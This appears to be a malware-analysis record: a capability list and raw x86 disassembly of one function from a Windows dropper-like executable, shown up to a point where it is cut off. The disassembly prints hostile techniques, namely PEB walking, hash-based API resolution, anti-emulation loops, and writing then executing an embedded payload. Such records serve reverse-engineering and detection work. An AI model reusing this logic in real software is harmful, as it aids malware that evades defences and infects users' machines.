Function at 0x403b60
Capabilities:
Accept command line arguments
Access peb ldr_data
Create process on windows
Create process suspended
Delete file
Get file size
Get kernel32 base address
Get number of processors
Read file on windows
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov eax, dword [0x4261d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [ebp - 0x244]
push 0x426094
push eax
call fcn.00402890
mov edi, 8
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x403b9b
mov esi, dword [eax]
jmp 0x403b9d
mov esi, eax
lea ecx, [ebp - 0x27c]
push 0x426078
push ecx
call fcn.00402890
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x403bb8
mov eax, dword [eax]
xor edi, edi
push edi
push ebx
push edi
push edi
push 0x64
push 0x1f4
push 0x80000000
push 0x80000000
push 0xcf0000
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
cmp dword [ebp - 0x268], 8
mov esi, eax
jb 0x403bf7
mov edx, dword [ebp - 0x27c]
push edx
call fcn.00405537
add esp, 4
xor eax, eax
cmp dword [ebp - 0x230], 8
mov ebx, 7
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x26c], edi
mov word [ebp - 0x27c], ax
jb 0x403c29
mov ecx, dword [ebp - 0x244]
push ecx
call fcn.00405537
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
xor edx, edx
push esi
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x234], edi
mov word [ebp - 0x244], dx
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 3
push 5
push 1
push edi
call dword [sym.imp.USER32.dll_CheckRadioButton]
push edi
cmp eax, edi
je 0x403c6b
push edi
call dword [sym.imp.USER32.dll_IsDialogMessageA]
jmp 0x403c77
push 0x40c26c
push edi
call dword [sym.imp.USER32.dll_RealGetWindowClassW]
xor esi, esi
lea esp, [esp]
push esi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
inc esi
cmp esi, 0xffffd
jl 0x403c80
push edi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp eax, 0xffffc
jb 0x4051a4
xor ecx, ecx
push edi
mov word [ebp - 0x2b4], cx
xor edx, edx
push 0x40c26c
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x2a0], ebx
mov dword [ebp - 0x2a4], edi
mov dword [ebp - 0x284], ebx
mov dword [ebp - 0x288], edi
mov word [ebp - 0x298], dx
call fcn.004024f0
push 0x44
lea eax, [ebp - 0x32c]
push edi
push eax
call fcn.00405ce0
push edi
mov dword [ebp - 0x32c], 0x44
mov dword [ebp - 0x21c], edi
mov dword [ebp - 0x218], edi
mov dword [ebp - 0x214], edi
call fcn.004063da
add esp, 0x10
mov esi, eax
mov dword [ebp - 0x2d4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add eax, esi
push eax
call fcn.00406436
add esp, 4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov ecx, dword [eax + 0x10]
mov dword [0x426d3c], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x10]
mov dword [0x426d28], ecx
mov esi, dword [0x426d28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403d9f
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403d7f
ror edi, 4
add edi, eax
jmp 0x403d73
mov eax, edi
pop edi
pop esi
cmp eax, 0xb590e453
jne 0x403d63
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403da1
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x2d4]
mov dword [0x426d30], ecx
mov esi, dword [0x426d28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403e06
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403de6
ror edi, 4
add edi, eax
jmp 0x403dda
mov eax, edi
pop edi
pop esi
cmp eax, 0xacb11623
jne 0x403dca
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403e08
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov edx, dword [ebp - 0x2d4]
mov dword [0x426d24], edx
mov esi, dword [0x426d3c]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403e6d
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403e4d
ror edi, 4
add edi, eax
jmp 0x403e41
mov eax, edi
pop edi
pop esi
cmp eax, 0x5771270
jne 0x403e31
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403e6f
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
mov dword [0x426d34], eax
mov esi, dword [0x426d28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403ed3
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403eb3
ror edi, 4
add edi, eax
jmp 0x403ea7
mov eax, edi
pop edi
pop esi
cmp eax, 0xb590e393
jne 0x403e97
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403ed5
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x2d4]
mov dword [0x426d38], ecx
mov esi, dword [0x426d28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403f3a
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403f1a
ror edi, 4
add edi, eax
jmp 0x403f0e
mov eax, edi
pop edi
pop esi
cmp eax, 0x16adacb7
jne 0x403efe
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403f3c
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov edx, dword [ebp - 0x2d4]
mov dword [0x426d40], edx
mov esi, dword [0x426d28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x18]
mov ebx, dword [edi + 0x20]
add ebx, esi
jecxz 0x403fa1
dec ecx
mov eax, dword [ebx + ecx*4]
add eax, esi
push esi
push edi
mov esi, eax
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
test eax, eax
je 0x403f81
ror edi, 4
add edi, eax
jmp 0x403f75
mov eax, edi
pop edi
pop esi
cmp eax, 0x85f168a5
jne 0x403f65
mov eax, dword [edi + 0x24]
add eax, esi
mov cx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, esi
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x403fa3
xor eax, eax
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
mov dword [0x426d2c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
xor edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x403fd3
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x2b4]
call fcn.004024f0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ecx, ecx
mov word [ebp - 0x260], cx
mov ebx, 7
mov ecx, eax
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x250], edi
lea esi, [ecx + 2]
lea ebx, [ebx]
mov dx, word [ecx]
add ecx, 2
cmp dx, di
jne 0x404020
sub ecx, esi
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.004024f0
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x260]
xor edx, edx
push eax
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x26c], edi
mov word [ebp - 0x27c], dx
call fcn.004020a0
cmp dword [ebp - 0x268], 8
jb 0x40407e
mov ecx, dword [ebp - 0x27c]
push ecx
call fcn.00405537
add esp, 4
mov ecx, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x260]
xor edx, edx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x26c], edi
mov word [ebp - 0x27c], dx
mov ebx, eax
cmp ecx, 8
jae 0x4040ae
lea ebx, [ebp - 0x260]
mov eax, ebx
mov ecx, dword [ebp - 0x250]
push 0xffffffffffffffff
push 0
lea esi, [eax + ecx*2]
mov edi, 0xf
push 0x4260b0
lea ecx, [ebp - 0x244]
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x234], edx
mov byte [ebp - 0x244], dl
call fcn.004012d0
cmp dword [ebp - 0x230], 0x10
jb 0x4040fa
mov edx, dword [ebp - 0x244]
push edx
call fcn.00405537
add esp, 4
mov edx, dword [0x4260c4]
mov eax, dword [0x4260b0]
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x234], 0
mov byte [ebp - 0x244], 0
mov ecx, eax
cmp edx, 0x10
jae 0x40412a
mov ecx, 0x4260b0
mov eax, ecx
add eax, dword [0x4260c0]
cmp ecx, eax
je 0x40489b
push esi
mov dword [ebp - 0x334], eax
push ebx
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x338], ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00401dd0
mov ecx, dword [eax]
sub ecx, dword [eax + 4]
neg ecx
sbb ecx, ecx
neg ecx
dec ecx
cmp ecx, 0xffffffff
setne al
test al, al
jne 0x40489b
xor ebx, ebx
mov eax, dword [ebp - 0x218]
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x410058]
cmp edi, eax
jae 0x4041ec
cmp edx, edi
ja 0x4041ec
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x4041e1
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4041e1
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4041c1
xor eax, eax
jmp 0x4041c3
add eax, edx
cmp eax, ecx
jae 0x4041c9
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x40423f
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x40423f
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x404237
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404237
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x40421d
xor eax, eax
jmp 0x40421f
add eax, edx
cmp eax, ecx
jae 0x404225
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x40423f
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x404174
xor ebx, ebx
jmp 0x404260
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + str.z_XQZ]
cmp edi, eax
jae 0x4042d8
cmp edx, edi
ja 0x4042d8
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x4042cd
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4042cd
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4042ad
xor eax, eax
jmp 0x4042af
push str.vector_T__too_long
call fcn.004052e5
add eax, edx
cmp eax, ecx
jae 0x4042b5
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404327
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x404327
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x40431f
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x40431f
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404305
xor eax, eax
jmp 0x404307
add eax, edx
cmp eax, ecx
jae 0x40430d
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404327
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x404260
xor ebx, ebx
lea ecx, [ecx]
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x415058]
cmp edi, eax
jae 0x4043b2
cmp edx, edi
ja 0x4043b2
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x4043a7
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4043a7
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404387
xor eax, eax
jmp 0x404389
add eax, edx
cmp eax, ecx
jae 0x40438f
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404405
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x404405
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x4043fd
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4043fd
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4043e3
xor eax, eax
jmp 0x4043e5
add eax, edx
cmp eax, ecx
jae 0x4043eb
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404405
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x404340
xor ebx, ebx
jmp 0x404420
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x417858]
cmp edi, eax
jae 0x404492
cmp edx, edi
ja 0x404492
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x404487
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404487
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404467
xor eax, eax
jmp 0x404469
add eax, edx
cmp eax, ecx
jae 0x40446f
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4044e5
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x4044e5
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x4044dd
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4044dd
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4044c3
xor eax, eax
jmp 0x4044c5
add eax, edx
cmp eax, ecx
jae 0x4044cb
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4044e5
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x404420
xor ebx, ebx
jmp 0x404500
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x41a058]
cmp edi, eax
jae 0x404572
cmp edx, edi
ja 0x404572
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x404567
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404567
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404547
xor eax, eax
jmp 0x404549
add eax, edx
cmp eax, ecx
jae 0x40454f
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4045c5
mov cl, byte [edx + edi]
mov byte [eax], cl
jmp 0x4045c5
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x4045bd
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x4045bd
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4045a3
xor eax, eax
jmp 0x4045a5
add eax, edx
cmp eax, ecx
jae 0x4045ab
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4045c5
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x404500
xor ebx, ebx
jmp 0x4045e0
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x41c858]
cmp edi, eax
jae 0x404652
cmp edx, edi
ja 0x404652
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x404647
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404647
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404627
xor eax, eax
jmp 0x404629
add eax, edx
cmp eax, ecx
jae 0x40462f
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4046a5
mov cl, byte [edx + edi]
mov byte [eax], cl
jmp 0x4046a5
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x40469d
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x40469d
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404683
xor eax, eax
jmp 0x404685
add eax, edx
cmp eax, ecx
jae 0x40468b
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4046a5
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x4045e0
xor ebx, ebx
jmp 0x4046c0
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x41f058]
cmp edi, eax
jae 0x404732
cmp edx, edi
ja 0x404732
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x404727
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404727
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404707
xor eax, eax
jmp 0x404709
add eax, edx
cmp eax, ecx
jae 0x40470f
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404785
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x404785
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x40477d
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x40477d
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404763
xor eax, eax
jmp 0x404765
add eax, edx
cmp eax, ecx
jae 0x40476b
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404785
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x4046c0
xor ebx, ebx
jmp 0x4047a0
mov edx, dword [ebp - 0x21c]
lea edi, [ebx + 0x421858]
cmp edi, eax
jae 0x404812
cmp edx, edi
ja 0x404812
mov esi, dword [ebp - 0x214]
sub edi, edx
cmp eax, esi
jne 0x404807
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x404807
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x4047e7
xor eax, eax
jmp 0x4047e9
add eax, edx
cmp eax, ecx
jae 0x4047ef
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404865
mov cl, byte [edi + edx]
mov byte [eax], cl
jmp 0x404865
mov esi, dword [ebp - 0x214]
cmp eax, esi
jne 0x40485d
mov ecx, eax
sub ecx, edx
cmp ecx, 0xfffffffe
ja 0x4042a3
inc ecx
sub esi, edx
cmp ecx, esi
jbe 0x40485d
mov eax, esi
mov edx, eax
shr edx, 1
or esi, 0xffffffff
sub esi, edx
cmp esi, eax
jae 0x404843
xor eax, eax
jmp 0x404845
add eax, edx
cmp eax, ecx
jae 0x40484b
mov eax, ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401fd0
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x404865
mov dl, byte [edi]
mov byte [eax], dl
inc eax
inc ebx
mov dword [ebp - 0x218], eax
cmp ebx, 0x2800
jb 0x4047a0
xor esi, esi
jmp 0x404880
lea eax, [esi + 0x424058]
push eax
lea ecx, [ebp - 0x21c]
call fcn.004025e0
inc esi
cmp esi, 0x2000
jb 0x404880
xor edi, edi
xor esi, esi
nop
push esi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
inc esi
cmp esi, 0xff9
jl 0x4048a0
push edi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp eax, 0xff9
jae 0x40494f
mov ebx, 8
cmp dword [ebp - 0x24c], ebx
jb 0x4048de
mov ecx, dword [ebp - 0x260]
push ecx
call fcn.00405537
add esp, 4
mov eax, dword [ebp - 0x21c]
xor edx, edx
mov esi, 7
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x250], edi
mov word [ebp - 0x260], dx
cmp eax, edi
je 0x40490b
push eax
call fcn.00405537
add esp, 4
cmp dword [ebp - 0x284], ebx
jb 0x404922
mov eax, dword [ebp - 0x298]
push eax
call fcn.00405537
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x284], esi
mov dword [ebp - 0x288], edi
mov word [ebp - 0x298], cx
cmp dword [ebp - 0x2a0], ebx
jb 0x4051a4
mov edx, dword [ebp - 0x2b4]
push edx
jmp 0x40519c
mov byte [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
push eax
lea ecx, [ebp - 0x260]
push 0x4260b0
push ecx
call fcn.00402c00
add esp, 0xc
test al, al
jne 0x404d2b
mov byte [ebp - 0x2d4], al
mov edx, dword [ebp - 0x2d4]
push edx
lea eax, [ebp - 0x260]
push 0x4260e8
push eax
call fcn.00402c00
add esp, 0xc
test al, al
jne 0x404d2b
mov byte [ebp - 0x2d4], al
mov ecx, dword [ebp - 0x2d4]
push ecx
lea edx, [ebp - 0x260]
push 0x426120
push edx
call fcn.00402c00
add esp, 0xc
test al, al
jne 0x404d2b
lea eax, [ebp - 0x27c]
push 5
push eax
call fcn.00402940
add esp, 8
push 4
push 0x40c260
lea ecx, [ebp - 0x27c]
call fcn.00402310
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x230], 7
mov dword [ebp - 0x234], edi
mov word [ebp - 0x244], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x404a10
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x244]
call fcn.004024f0
push 2
push 0xffffffffffffffff
push 0x40c24c
lea ecx, [ebp - 0x244]
call fcn.004019f0
push eax
push edi
lea eax, [ebp - 0x2d0]
push eax
lea ecx, [ebp - 0x244]
call fcn.004026a0
push eax
lea ecx, [ebp - 0x244]
call fcn.004026e0
mov ebx, 8
cmp dword [ebp - 0x2bc], ebx
jb 0x404a82
mov ecx, dword [ebp - 0x2d0]
push ecx
call fcn.00405537
add esp, 4
push 1
push 0x40c248
lea ecx, [ebp - 0x244]
call fcn.00402310
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x27c]
push edx
lea ecx, [ebp - 0x244]
call fcn.00402200
mov esi, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
sub eax, esi
push eax
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2d4], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x27c]
xor eax, eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], edi
push edx
mov word [ecx], ax
call fcn.004020a0
lea eax, [ebp - 0x20c]
push eax
call fcn.00402e50
add esp, 0x28
test al, al
je 0x404cdb
xor ecx, ecx
push 1
mov word [ebp - 0x228], cx
push 0x40c25c
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x214], 7
mov dword [ebp - 0x218], edi
call fcn.004024f0
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x404b30
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x228]
call fcn.00402310
push 2
push 0x40c254
lea ecx, [ebp - 0x228]
call fcn.00402310
lea eax, [ebp - 0x2d0]
push 0x4260cc
push eax
call fcn.00402890
add esp, 8
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x228]
call fcn.00402200
cmp dword [ebp - 0x2bc], ebx
jb 0x404b9e
mov ecx, dword [ebp - 0x2d0]
push ecx
call fcn.00405537
add esp, 4
mov ecx, dword [ebp - 0x228]
cmp dword [ebp - 0x214], ebx
jae 0x404bb2
lea ecx, [ebp - 0x228]
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x230], ebx
jae 0x404bc6
lea eax, [ebp - 0x244]
lea edx, [ebp - 0x2e8]
push edx
lea edx, [ebp - 0x32c]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 0x214], ebx
jb 0x404bf9
mov eax, dword [ebp - 0x228]
push eax
call fcn.00405537
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x214], 7
mov dword [ebp - 0x218], edi
mov word [ebp - 0x228], cx
cmp dword [ebp - 0x230], ebx
jb 0x404c29
mov edx, dword [ebp - 0x244]
push edx
call fcn.00405537
add esp, 4
xor eax, eax
mov dword [ebp - 0x230], 7
mov dword [ebp - 0x234], edi
mov word [ebp - 0x244], ax
cmp dword [ebp - 0x268], ebx
jb 0x404c59
mov ecx, dword [ebp - 0x27c]
push ecx
